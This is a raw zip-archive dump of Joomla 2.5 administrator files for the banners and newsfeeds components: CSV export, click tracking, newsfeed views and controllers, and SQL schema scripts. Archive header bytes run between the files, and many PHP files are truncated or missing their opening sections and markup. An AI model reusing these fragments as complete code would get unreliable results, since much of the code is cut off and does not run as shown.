'csv'; } /** * Get the mime type. * * @return string The mime type. * @since 1.6 */ public function getMimeType() { return $this->getState('compressed') ? 'application/zip' : 'text/csv'; } /** * Get the content * * @return string The content. * @since 1.6 */ public function getContent() { if (!isset($this->content)) { $this->content = ''; $this->content.= '"'.str_replace('"', '""', JText::_('COM_BANNERS_HEADING_NAME')).'","'. str_replace('"', '""', JText::_('COM_BANNERS_HEADING_CLIENT')).'","'. str_replace('"', '""', JText::_('JCATEGORY')).'","'. str_replace('"', '""', JText::_('COM_BANNERS_HEADING_TYPE')).'","'. str_replace('"', '""', JText::_('COM_BANNERS_HEADING_COUNT')).'","'. str_replace('"', '""', JText::_('JDATE')).'"'."\n"; foreach($this->getItems() as $item) { $this->content.= '"'.str_replace('"', '""', $item->name).'","'. str_replace('"', '""', $item->client_name).'","'. str_replace('"', '""', $item->category_title).'","'. str_replace('"', '""', ($item->track_type==1 ? JText::_('COM_BANNERS_IMPRESSION'): JText::_('COM_BANNERS_CLICK'))).'","'. str_replace('"', '""', $item->count).'","'. str_replace('"', '""', $item->track_date).'"'."\n"; } if ($this->getState('compressed')) { $app = JFactory::getApplication('administrator'); $files = array(); $files['track']=array(); $files['track']['name'] = $this->getBasename() . '.csv'; $files['track']['data'] = $this->content; $files['track']['time'] = time(); $ziproot = $app->getCfg('tmp_path').'/' . uniqid('banners_tracks_') . '.zip'; // run the packager jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); jimport('joomla.filesystem.archive'); $delete = JFolder::files($app->getCfg('tmp_path').'/', uniqid('banners_tracks_'), false, true); if (!empty($delete)) { if (!JFile::delete($delete)) { // JFile::delete throws an error $this->setError(JText::_('COM_BANNERS_ERR_ZIP_DELETE_FAILURE')); return false; } } if (!$packager = JArchive::getAdapter('zip')) { $this->setError(JText::_('COM_BANNERS_ERR_ZIP_ADAPTER_FAILURE')); return false; } elseif (!$packager->create($ziproot, $files)) { $this->setError(JText::_('COM_BANNERS_ERR_ZIP_CREATE_FAILURE')); return false; } $this->content = file_get_contents($ziproot); } } return $this->content; } } PKs>\)#com_banners/models/fields/.htaccessnuW+A Order allow,deny Deny from all PKs>\/%%*com_banners/models/fields/bannerclient.phpnuW+A\K&com_banners/models/fields/imptotal.phpnuW+Aid.'_unlimited\').checked=document.id(\''.$this->id.'\').value==\'\';"'; $onclick = ' onclick="if (document.id(\''.$this->id.'_unlimited\').checked) document.id(\''.$this->id.'\').value=\'\';"'; $value = empty($this->value) ? '' : $this->value; $checked = empty($this->value) ? ' checked="checked"' : ''; return '
      '; } } PKs>\a*%com_banners/models/fields/impmade.phpnuW+Aid.'\').value=\'0\';"'; return ''; } } PKs>\=D$com_banners/models/fields/clicks.phpnuW+Aid.'\').value=\'0\';"'; return ''; } } PKs>\P&com_banners/models/fields/ordering.phpnuW+Aelement['class'] ? ' class="'.(string) $this->element['class'].'"' : ''; $attr .= ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : ''; $attr .= $this->element['size'] ? ' size="'.(int) $this->element['size'].'"' : ''; // Initialize JavaScript field attributes. $attr .= $this->element['onchange'] ? ' onchange="'.(string) $this->element['onchange'].'"' : ''; // Get some field values from the form. $bannerId = (int) $this->form->getValue('id'); $categoryId = (int) $this->form->getValue('catid'); // Build the query for the ordering list. $query = 'SELECT ordering AS value, name AS text' . ' FROM #__banners' . ' WHERE catid = ' . (int) $categoryId . ' ORDER BY ordering'; // Create a read-only list (no name) with a hidden input to store the value. if ((string) $this->element['readonly'] == 'true') { $html[] = JHtml::_('list.ordering', '', $query, trim($attr), $this->value, $bannerId ? 0 : 1); $html[] = ''; } // Create a regular list. else { $html[] = JHtml::_('list.ordering', $this->name, $query, trim($attr), $this->value, $bannerId ? 0 : 1); } return implode($html); } } PKs>\V$com_banners/models/fields/index.htmlnuW+A PKs>\SLcom_banners/models/banner.phpnuW+AgetState('banner.id'); // update click count $db = $this->getDbo(); $query = $db->getQuery(true); $query->update('#__banners'); $query->set('clicks = (clicks + 1)'); $query->where('id = ' . (int) $id); $db->setQuery((string) $query); if (!$db->query()) { JError::raiseError(500, $db->getErrorMsg()); } // track clicks $item = $this->getItem(); $trackClicks = $item->track_clicks; if ($trackClicks < 0 && $item->cid) { $trackClicks = $item->client_track_clicks; } if ($trackClicks < 0) { $config = JComponentHelper::getParams('com_banners'); $trackClicks = $config->get('track_clicks'); } if ($trackClicks > 0) { $trackDate = JFactory::getDate()->format('Y-m-d H'); $query->clear(); $query->select($db->quoteName('count')); $query->from('#__banner_tracks'); $query->where('track_type=2'); $query->where('banner_id='.(int)$id); $query->where('track_date='.$db->Quote($trackDate)); $db->setQuery((string) $query); if (!$db->query()) { JError::raiseError(500, $db->getErrorMsg()); } $count = $db->loadResult(); $query->clear(); if ($count) { // update count $query->update('#__banner_tracks'); $query->set($db->quoteName('count').' = ('.$db->quoteName('count') . ' + 1)'); $query->where('track_type=2'); $query->where('banner_id='.(int)$id); $query->where('track_date='.$db->Quote($trackDate)); } else { // insert new count //sqlsrv change $query->insert('#__banner_tracks'); $query->columns(array($db->quoteName('count'), $db->quoteName('track_type'), $db->quoteName('banner_id') , $db->quoteName('track_date'))); $query->values( '1, 2,' . (int)$id . ',' . $db->Quote($trackDate)); } $db->setQuery((string) $query); if (!$db->query()) { JError::raiseError(500, $db->getErrorMsg()); } } } /** * Get the data for a banner. * * @return object */ function &getItem() { if (!isset($this->_item)) { $cache = JFactory::getCache('com_banners', ''); $id = $this->getState('banner.id'); $this->_item = $cache->get($id); if ($this->_item === false) { // redirect to banner url $db = $this->getDbo(); $query = $db->getQuery(true); $query->select( 'a.clickurl as clickurl,'. 'a.cid as cid,'. 'a.track_clicks as track_clicks' ); $query->from('#__banners as a'); $query->where('a.id = ' . (int) $id); $query->join('LEFT', '#__banner_clients AS cl ON cl.id = a.cid'); $query->select('cl.track_clicks as client_track_clicks'); $db->setQuery((string) $query); if (!$db->query()) { JError::raiseError(500, $db->getErrorMsg()); } $this->_item = $db->loadObject(); $cache->store($this->_item, $id); } } return $this->_item; } /** * Get the URL for a banner * * @return string */ function getUrl() { $item = $this->getItem(); $url = $item->clickurl; // check for links if (!preg_match('#http[s]?://|index[2]?\.php#', $url)) { $url = "http://$url"; } return $url; } } PKs>\)com_banners/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_banners/models/index.htmlnuW+A PKs>\N*Ɣ &com_banners/sql/install.mysql.utf8.sqlnuW+ACREATE TABLE `#__banners` ( `id` INTEGER NOT NULL auto_increment, `cid` INTEGER NOT NULL DEFAULT '0', `type` INTEGER NOT NULL DEFAULT '0', `name` VARCHAR(255) NOT NULL DEFAULT '', `alias` VARCHAR(255) NOT NULL DEFAULT '', `imptotal` INTEGER NOT NULL DEFAULT '0', `impmade` INTEGER NOT NULL DEFAULT '0', `clicks` INTEGER NOT NULL DEFAULT '0', `clickurl` VARCHAR(200) NOT NULL DEFAULT '', `state` TINYINT(3) NOT NULL DEFAULT '0', `catid` INTEGER UNSIGNED NOT NULL DEFAULT 0, `description` TEXT NOT NULL, `custombannercode` VARCHAR(2048) NOT NULL, `sticky` TINYINT(1) UNSIGNED NOT NULL DEFAULT 0, `ordering` INTEGER NOT NULL DEFAULT 0, `metakey` TEXT NOT NULL, `params` TEXT NOT NULL, `own_prefix` TINYINT(1) NOT NULL DEFAULT '0', `metakey_prefix` VARCHAR(255) NOT NULL DEFAULT '', `purchase_type` TINYINT NOT NULL DEFAULT '-1', `track_clicks` TINYINT NOT NULL DEFAULT '-1', `track_impressions` TINYINT NOT NULL DEFAULT '-1', `checked_out` INTEGER UNSIGNED NOT NULL DEFAULT '0', `checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00', `publish_up` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00', `publish_down` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00', `reset` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00', `created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00', `language` char(7) NOT NULL DEFAULT '', PRIMARY KEY (`id`), INDEX `idx_state` (`state`), INDEX `idx_own_prefix` (`own_prefix`), INDEX `idx_metakey_prefix` (`metakey_prefix`), INDEX `idx_banner_catid`(`catid`), INDEX `idx_language` (`language`) ) DEFAULT CHARSET=utf8; CREATE TABLE `#__banner_clients` ( `id` INTEGER NOT NULL auto_increment, `name` VARCHAR(255) NOT NULL DEFAULT '', `contact` VARCHAR(255) NOT NULL DEFAULT '', `email` VARCHAR(255) NOT NULL DEFAULT '', `extrainfo` TEXT NOT NULL, `state` TINYINT(3) NOT NULL DEFAULT '0', `checked_out` INTEGER UNSIGNED NOT NULL DEFAULT '0', `checked_out_time` DATETIME NOT NULL default '0000-00-00 00:00:00', `metakey` TEXT NOT NULL, `own_prefix` TINYINT NOT NULL DEFAULT '0', `metakey_prefix` VARCHAR(255) NOT NULL default '', `purchase_type` TINYINT NOT NULL DEFAULT '-1', `track_clicks` TINYINT NOT NULL DEFAULT '-1', `track_impressions` TINYINT NOT NULL DEFAULT '-1', PRIMARY KEY (`id`), INDEX `idx_own_prefix` (`own_prefix`), INDEX `idx_metakey_prefix` (`metakey_prefix`) ) DEFAULT CHARSET=utf8; CREATE TABLE `#__banner_tracks` ( `track_date` DATETIME NOT NULL, `track_type` INTEGER UNSIGNED NOT NULL, `banner_id` INTEGER UNSIGNED NOT NULL, `count` INTEGER UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`track_date`, `track_type`, `banner_id`), INDEX `idx_track_date` (`track_date`), INDEX `idx_track_type` (`track_type`), INDEX `idx_banner_id` (`banner_id`) ) DEFAULT CHARSET=utf8; PKs>\)com_banners/sql/.htaccessnuW+A Order allow,deny Deny from all PKs>\yy(com_banners/sql/uninstall.mysql.utf8.sqlnuW+ADROP TABLE IF EXISTS `#__banners`; DROP TABLE IF EXISTS `#__banner_clients`; DROP TABLE IF EXISTS `#__banner_tracks`; PKs>\Vcom_banners/sql/index.htmlnuW+A PKs>\V'com_newsfeeds/views/newsfeed/index.htmlnuW+A PKs>\ ##*com_newsfeeds/views/newsfeed/view.html.phpnuW+Aget('State'); $item = $this->get('Item'); if ($item) { // Get Category Model data $categoryModel = JModelLegacy::getInstance('Category', 'NewsfeedsModel', array('ignore_request' => true)); $categoryModel->setState('category.id', $item->catid); $categoryModel->setState('list.ordering', 'a.name'); $categoryModel->setState('list.direction', 'asc'); $items = $categoryModel->getItems(); } // Check for errors. // @TODO Maybe this could go into JComponentHelper::raiseErrors($this->get('Errors')) if (count($errors = $this->get('Errors'))) { JError::raiseWarning(500, implode("\n", $errors)); return false; } // Add router helpers. $item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id; $item->catslug = $item->category_alias ? ($item->catid . ':' . $item->category_alias) : $item->catid; $item->parent_slug = $item->category_alias ? ($item->parent_id . ':' . $item->parent_alias) : $item->parent_id; // check if cache directory is writeable $cacheDir = JPATH_CACHE . '/'; if (!is_writable($cacheDir)) { JError::raiseNotice('0', JText::_('COM_NEWSFEEDS_CACHE_DIRECTORY_UNWRITABLE')); return; } // Merge newsfeed params. If this is single-newsfeed view, menu params override newsfeed params // Otherwise, newsfeed params override menu item params $params = $state->get('params'); $newsfeed_params = clone $item->params; $active = $app->getMenu()->getActive(); $temp = clone ($params); // Check to see which parameters should take priority if ($active) { $currentLink = $active->link; // If the current view is the active item and an newsfeed view for this feed, then the menu item params take priority if (strpos($currentLink, 'view=newsfeed') && (strpos($currentLink, '&id='.(string) $item->id))) { // $item->params are the newsfeed params, $temp are the menu item params // Merge so that the menu item params take priority $newsfeed_params->merge($temp); $item->params = $newsfeed_params; // Load layout from active query (in case it is an alternative menu item) if (isset($active->query['layout'])) { $this->setLayout($active->query['layout']); } } else { // Current view is not a single newsfeed, so the newsfeed params take priority here // Merge the menu item params with the newsfeed params so that the newsfeed params take priority $temp->merge($newsfeed_params); $item->params = $temp; // Check for alternative layouts (since we are not in a single-newsfeed menu item) if ($layout = $item->params->get('newsfeed_layout')) { $this->setLayout($layout); } } } else { // Merge so that newsfeed params take priority $temp->merge($newsfeed_params); $item->params = $temp; // Check for alternative layouts (since we are not in a single-newsfeed menu item) if ($layout = $item->params->get('newsfeed_layout')) { $this->setLayout($layout); } } $offset = $state->get('list.offset'); // Check the access to the newsfeed $levels = $user->getAuthorisedViewLevels(); if (!in_array($item->access, $levels) or ((in_array($item->access, $levels) and (!in_array($item->category_access, $levels))))) { JError::raiseWarning(403, JText::_('JERROR_ALERTNOAUTHOR')); return; } // Get the current menu item $menus = $app->getMenu(); $menu = $menus->getActive(); $params = $app->getParams(); // Get the newsfeed $newsfeed = $item; $temp = new JRegistry(); $temp->loadString($item->params); $params->merge($temp); // get RSS parsed object $rssDoc = JFactory::getFeedParser($newsfeed->link, $newsfeed->cache_time); if ($rssDoc == false) { $msg = JText::_('COM_NEWSFEEDS_ERRORS_FEED_NOT_RETRIEVED'); $app->redirect(NewsFeedsHelperRoute::getCategoryRoute($newsfeed->catslug), $msg); return; } $lists = array(); // channel header and link $newsfeed->channel['title'] = $rssDoc->get_title(); $newsfeed->channel['link'] = $rssDoc->get_link(); $newsfeed->channel['description'] = $rssDoc->get_description(); $newsfeed->channel['language'] = $rssDoc->get_language(); // channel image if exists $newsfeed->image['url'] = $rssDoc->get_image_url(); $newsfeed->image['title'] = $rssDoc->get_image_title(); $newsfeed->image['link'] = $rssDoc->get_image_link(); $newsfeed->image['height'] = $rssDoc->get_image_height(); $newsfeed->image['width'] = $rssDoc->get_image_width(); // items $newsfeed->items = $rssDoc->get_items(); // feed elements $newsfeed->items = array_slice($newsfeed->items, 0, $newsfeed->numarticles); // feed display order $feed_display_order = $params->get('feed_display_order', 'des'); if ($feed_display_order == 'asc') { $newsfeed->items = array_reverse($newsfeed->items); } //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); $this->assignRef('params' , $params ); $this->assignRef('newsfeed', $newsfeed); $this->assignRef('state', $state); $this->assignRef('item', $item); $this->assignRef('user', $user); $this->print = $print; $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document * * @return void * @since 1.6 */ protected function _prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $pathway = $app->getPathway(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_NEWSFEEDS_DEFAULT_PAGE_TITLE')); } $title = $this->params->get('page_title', ''); $id = (int) @$menu->query['id']; // if the menu item does not concern this newsfeed if ($menu && ($menu->query['option'] != 'com_newsfeeds' || $menu->query['view'] != 'newsfeed' || $id != $this->item->id)) { // If this is not a single newsfeed menu item, set the page title to the newsfeed title if ($this->item->name) { $title = $this->item->name; } $path = array(array('title' => $this->item->name, 'link' => '')); $category = JCategories::getInstance('Newsfeeds')->get($this->item->catid); while (($menu->query['option'] != 'com_newsfeeds' || $menu->query['view'] == 'newsfeed' || $id != $category->id) && $category->id > 1) { $path[] = array('title' => $category->title, 'link' => NewsfeedsHelperRoute::getCategoryRoute($category->id)); $category = $category->getParent(); } $path = array_reverse($path); foreach($path as $item) { $pathway->addItem($item['title'], $item['link']); } } if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } if (empty($title)) { $title = $this->item->name; } $this->document->setTitle($title); if ($this->item->metadesc) { $this->document->setDescription($this->item->metadesc); } elseif (!$this->item->metadesc && $this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->item->metakey) { $this->document->setMetadata('keywords', $this->item->metakey); } elseif (!$this->item->metakey && $this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } if ($app->getCfg('MetaTitle') == '1') { $this->document->setMetaData('title', $this->item->name); } if ($app->getCfg('MetaAuthor') == '1') { $this->document->setMetaData('author', $this->item->author); } $mdata = $this->item->metadata->toArray(); foreach ($mdata as $k => $v) { if ($v) { $this->document->setMetadata($k, $v); } } } } PKs>\/Cuu1com_newsfeeds/views/newsfeed/tmpl/edit_params.phpnuW+Aform->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name.'-params'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
        form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      PKs>\)+com_newsfeeds/views/newsfeed/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V,com_newsfeeds/views/newsfeed/tmpl/index.htmlnuW+A PKs>\aʼnT*com_newsfeeds/views/newsfeed/tmpl/edit.phpnuW+A
      item->id) ? JText::_('COM_NEWSFEEDS_NEW_NEWSFEED') : JText::sprintf('COM_NEWSFEEDS_EDIT_NEWSFEED', $this->item->id); ?>
      • form->getLabel('name'); ?> form->getInput('name'); ?>
      • form->getLabel('alias'); ?> form->getInput('alias'); ?>
      • form->getLabel('link'); ?> form->getInput('link'); ?>
      • form->getLabel('catid'); ?> form->getInput('catid'); ?>
      • form->getLabel('published'); ?> form->getInput('published'); ?>
      • form->getLabel('access'); ?> form->getInput('access'); ?>
      • form->getLabel('ordering'); ?> form->getInput('ordering'); ?>
      • form->getLabel('language'); ?> form->getInput('language'); ?>
      • form->getLabel('id'); ?> form->getInput('id'); ?>
      item->id, array('useCookie'=>1)); ?>
      • form->getLabel('created_by'); ?> form->getInput('created_by'); ?>
      • form->getLabel('created_by_alias'); ?> form->getInput('created_by_alias'); ?>
      • form->getLabel('created'); ?> form->getInput('created'); ?>
      • form->getLabel('publish_up'); ?> form->getInput('publish_up'); ?>
      • form->getLabel('publish_down'); ?> form->getInput('publish_down'); ?>
      • item->modified_by) : ?>
      • form->getLabel('modified_by'); ?> form->getInput('modified_by'); ?>
      • form->getLabel('modified'); ?> form->getInput('modified'); ?>
      • form->getLabel('numarticles'); ?> form->getInput('numarticles'); ?>
      • form->getLabel('cache_time'); ?> form->getInput('cache_time'); ?>
      • form->getLabel('rtl'); ?> form->getInput('rtl'); ?>
      • form->getLabel('xreference'); // Missing from schema! ?> form->getInput('xreference'); ?>
      loadTemplate('params'); ?> loadTemplate('metadata'); ?>
      PKs>\V'0223com_newsfeeds/views/newsfeed/tmpl/edit_metadata.phpnuW+Aform->getFieldsets('metadata'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
      • form->getLabel('metadesc'); ?> form->getInput('metadesc'); ?>
      • form->getLabel('metakey'); ?> form->getInput('metakey'); ?>
      • form->getLabel('xreference'); ?> form->getInput('xreference'); ?>
      • form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      PKs>\)&com_newsfeeds/views/newsfeed/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_newsfeeds/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_newsfeeds/views/index.htmlnuW+A PKs>\F[!!.com_newsfeeds/views/newsfeeds/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_newsfeeds.category'); $saveOrder = $listOrder == 'a.ordering'; ?>
      items as $i => $item) : $ordering = ($listOrder == 'a.ordering'); $canCreate = $user->authorise('core.create', 'com_newsfeeds.category.'.$item->catid); $canEdit = $user->authorise('core.edit', 'com_newsfeeds.category.'.$item->catid); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id') || $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_newsfeeds.category.'.$item->catid) && $canCheckin; ?>
      items, 'filesave.png', 'newsfeeds.saveorder'); ?>
      pagination->getListFooter(); ?>
      id); ?> checked_out) : ?> editor, $item->checked_out_time, 'newsfeeds.', $canCheckin); ?> escape($item->name); ?> escape($item->name); ?>

      escape($item->alias));?>

      published, $i, 'newsfeeds.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> escape($item->category_title); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'newsfeeds.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, ($item->catid == @$this->items[$i+1]->catid), 'newsfeeds.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'newsfeeds.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, ($item->catid == @$this->items[$i+1]->catid), 'newsfeeds.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> escape($item->access_level); ?> numarticles; ?> cache_time; ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
      authorize('core.create', 'com_newsfeeds') && $user->authorize('core.edit', 'com_newsfeeds') && $user->authorize('core.edit.state', 'com_newsfeeds')) : ?> loadTemplate('batch'); ?>
      PKs>\{y))4com_newsfeeds/views/newsfeeds/tmpl/default_batch.phpnuW+Astate->get('filter.published'); ?>

      = 0) : ?>
      PKs>\f]nV,com_newsfeeds/views/newsfeeds/tmpl/modal.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
      items as $i => $item) : ?>
      pagination->getListFooter(); ?>
      escape($item->name); ?> escape($item->access_level); ?> escape($item->category_title); ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
      PKs>\),com_newsfeeds/views/newsfeeds/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V-com_newsfeeds/views/newsfeeds/tmpl/index.htmlnuW+A PKs>\)'com_newsfeeds/views/newsfeeds/.htaccessnuW+A Order allow,deny Deny from all PKs>\R+com_newsfeeds/views/newsfeeds/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $state = $this->get('State'); $canDo = NewsfeedsHelper::getActions($state->get('filter.category_id')); $user = JFactory::getUser(); JToolBarHelper::title(JText::_('COM_NEWSFEEDS_MANAGER_NEWSFEEDS'), 'newsfeeds.png'); if (count($user->getAuthorisedCategories('com_newsfeeds', 'core.create')) > 0) { JToolBarHelper::addNew('newsfeed.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('newsfeed.edit'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('newsfeeds.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('newsfeeds.unpublish', 'JTOOLBAR_UNPUBLISH', true); JToolBarHelper::divider(); JToolBarHelper::archiveList('newsfeeds.archive'); } if ($canDo->get('core.admin')) { JToolBarHelper::checkin('newsfeeds.checkin'); } if ($state->get('filter.state') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'newsfeeds.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('newsfeeds.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_newsfeeds'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_COMPONENTS_NEWSFEEDS_FEEDS'); } } PKs>\V(com_newsfeeds/views/newsfeeds/index.htmlnuW+A PKs>\)&&*com_newsfeeds/sql/uninstall.mysql.utf8.sqlnuW+ADROP TABLE IF EXISTS `#__newsfeeds`; PKs>\(com_newsfeeds/sql/install.mysql.utf8.sqlnuW+ACREATE TABLE `#__newsfeeds` ( `catid` integer NOT NULL default '0', `id` integer(10) UNSIGNED NOT NULL auto_increment, `name` varchar(100) NOT NULL DEFAULT '', `alias` varchar(100) NOT NULL default '', `link` varchar(200) NOT NULL DEFAULT '', `filename` varchar(200) default NULL, `published` tinyint(1) NOT NULL default '0', `numarticles` integer unsigned NOT NULL default '1', `cache_time` integer unsigned NOT NULL default '3600', `checked_out` integer(10) unsigned NOT NULL default '0', `checked_out_time` datetime NOT NULL default '0000-00-00 00:00:00', `ordering` integer NOT NULL default '0', `rtl` tinyint(4) NOT NULL default '0', `access` tinyint UNSIGNED NOT NULL DEFAULT '0', `language` char(7) NOT NULL DEFAULT '', `params` text NOT NULL, `created` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(10) unsigned NOT NULL default '0', `created_by_alias` varchar(255) NOT NULL default '', `modified` datetime NOT NULL default '0000-00-00 00:00:00', `modified_by` int(10) unsigned NOT NULL default '0', `metakey` text NOT NULL, `metadesc` text NOT NULL, `metadata` text NOT NULL, `xreference` varchar(50) NOT NULL COMMENT 'A reference to enable linkages to external data sets.', `publish_up` datetime NOT NULL default '0000-00-00 00:00:00', `publish_down` datetime NOT NULL default '0000-00-00 00:00:00', PRIMARY KEY (`id`), KEY `idx_access` (`access`), KEY `idx_checkout` (`checked_out`), KEY `idx_state` (`published`), KEY `idx_catid` (`catid`), KEY `idx_createdby` (`created_by`), KEY `idx_language` (`language`), KEY `idx_xreference` (`xreference`) ) DEFAULT CHARSET=utf8; PKs>\)com_newsfeeds/sql/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_newsfeeds/sql/index.htmlnuW+A PKs>\v &com_newsfeeds/controllers/newsfeed.phpnuW+Aauthorise('core.create', $this->option . '.category.' . $categoryId); } if ($allow === null) { // In the absence of better information, revert to the component permissions. return parent::allowAdd($data); } else { return $allow; } } /** * Method to check if you can edit a record. * * @param array $data An array of input data. * @param string $key The name of the key for the primary key. * * @return boolean * * @since 1.6 */ protected function allowEdit($data = array(), $key = 'id') { // Initialise variables. $user = JFactory::getUser(); $recordId = (int) isset($data[$key]) ? $data[$key] : 0; $categoryId = 0; if ($recordId) { $categoryId = (int) $this->getModel()->getItem($recordId)->catid; } if ($categoryId) { // The category has been set. Check the category permissions. return $user->authorise('core.edit', $this->option . '.category.' . $categoryId); } else { // Since there is no asset tracking, revert to the component permissions. return parent::allowEdit($data, $key); } } /** * Method to run batch operations. * * @param object $model The model. * * @return boolean True if successful, false otherwise and internal error is set. * * @since 2.5 */ public function batch($model = null) { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Set the model $model = $this->getModel('Newsfeed', '', array()); // Preset the redirect $this->setRedirect(JRoute::_('index.php?option=com_newsfeeds&view=newsfeeds' . $this->getRedirectToListAppend(), false)); return parent::batch($model); } } PKs>\)#com_newsfeeds/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\V$com_newsfeeds/controllers/index.htmlnuW+A PKs>\eZ'com_newsfeeds/controllers/newsfeeds.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PKs>\%..com_newsfeeds/controller.phpnuW+Aget('id') || ($_SERVER['REQUEST_METHOD'] == 'POST' && $vName = 'category' )) { $cachable = false; } $safeurlparams = array('id'=>'INT', 'limit'=>'UINT', 'limitstart'=>'UINT', 'filter_order'=>'CMD', 'filter_order_Dir'=>'CMD', 'lang'=>'CMD'); parent::display($cachable, $safeurlparams); } } PKs>\) com_newsfeeds/elements/.htaccessnuW+A Order allow,deny Deny from all PKs>\6@{{#com_newsfeeds/elements/newsfeed.phpnuW+AsetQuery($query); $options = $db->loadObjectList(); $n = count($options); for ($i = 0; $i < $n; $i++) { $options[$i]->text = $options[$i]->title . '-' . $options[$i]->name; } array_unshift($options, JHtml::_('select.option', '0', '- '.JText::_('COM_NEWSFEEDS_SELECT_FEED').' -', 'id', 'text')); return JHtml::_('select.genericlist', $options, ''.$control_name.'['.$name.']', 'class="inputbox"', 'id', 'text', $value, $control_name.$name); } } PKs>\V!com_newsfeeds/elements/index.htmlnuW+A PKs>\ʺ((com_newsfeeds/newsfeeds.phpnuW+Aexecute(JRequest::getCmd('task')); $controller->redirect(); PKs>\+tO' ' com_newsfeeds/newsfeeds.xmlnuW+A com_newsfeeds Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_NEWSFEEDS_XML_DESCRIPTION sql/install.mysql.utf8.sql sql/uninstall.mysql.utf8.sql controller.php index.html metadata.xml newsfeeds.php router.php helpers models views language/en-GB.com_newsfeeds.ini com_newsfeeds com_newsfeeds_feeds com_newsfeeds_categories access.xml config.xml controller.php index.html newsfeeds.php controllers elements helpers models tables views language/en-GB.com_newsfeeds.ini language/en-GB.com_newsfeeds.sys.ini PKs>\Vcom_newsfeeds/index.htmlnuW+A PKs>\)com_newsfeeds/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\ԭ  "com_newsfeeds/models/newsfeeds.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $accessId = $this->getUserStateFromRequest($this->context.'.filter.access', 'filter_access', null, 'int'); $this->setState('filter.access', $accessId); $state = 